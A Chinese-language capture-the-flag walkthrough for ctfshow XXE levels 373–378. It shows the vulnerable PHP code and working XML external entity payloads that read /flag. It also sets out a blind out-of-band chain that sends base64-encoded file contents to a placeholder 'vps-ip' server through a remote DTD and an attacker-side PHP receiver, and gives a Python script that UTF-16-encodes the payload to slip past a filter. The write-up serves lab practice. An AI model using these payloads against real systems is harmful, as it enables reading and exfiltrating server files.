第373关
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false); // 禁止加载外部实体
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){ // 判断是否有XML代码
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom); // 解析代码
$ctfshow = $creds->ctfshow;
echo $ctfshow; // 输出解析结果
}
highlight_file(__FILE__);
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<toxicant>
<ctfshow>&cmd;</ctfshow>
</toxicant>
第374-第376关:远程DTD
无回显的文件读取,禁用了版本号,问题不大不写版本号就是了
在vps构造这个文件,用于接收结果
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
构造xxe.xml文件
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://vps-ip/index.php?1=%file;'"
>
%all;
构造发送payload
扫描二维码关注公众号,回复:
15676712 查看本文章
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps-ip/xxe.xml">
%remote;
%send;
]>
查看服务器上的flag.txt即可
第377关
多过滤了 http 头,利用 utf-16 编码
import requests
url = 'http://115ce4e9-eedd-4ea9-92e2-3c6acc513e7e.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps-ip/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
在服务器上查看flag.txt文件
第378关
抓个包看看
进行文件读取,构造payload:
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username>
</user>
总结
XXE漏洞跟SQL注入漏洞类似,语句的构造需要对XML语法有所了解,但也不需要了解过深,因为注入的语句基本上都是定式,记好几个模板就行了。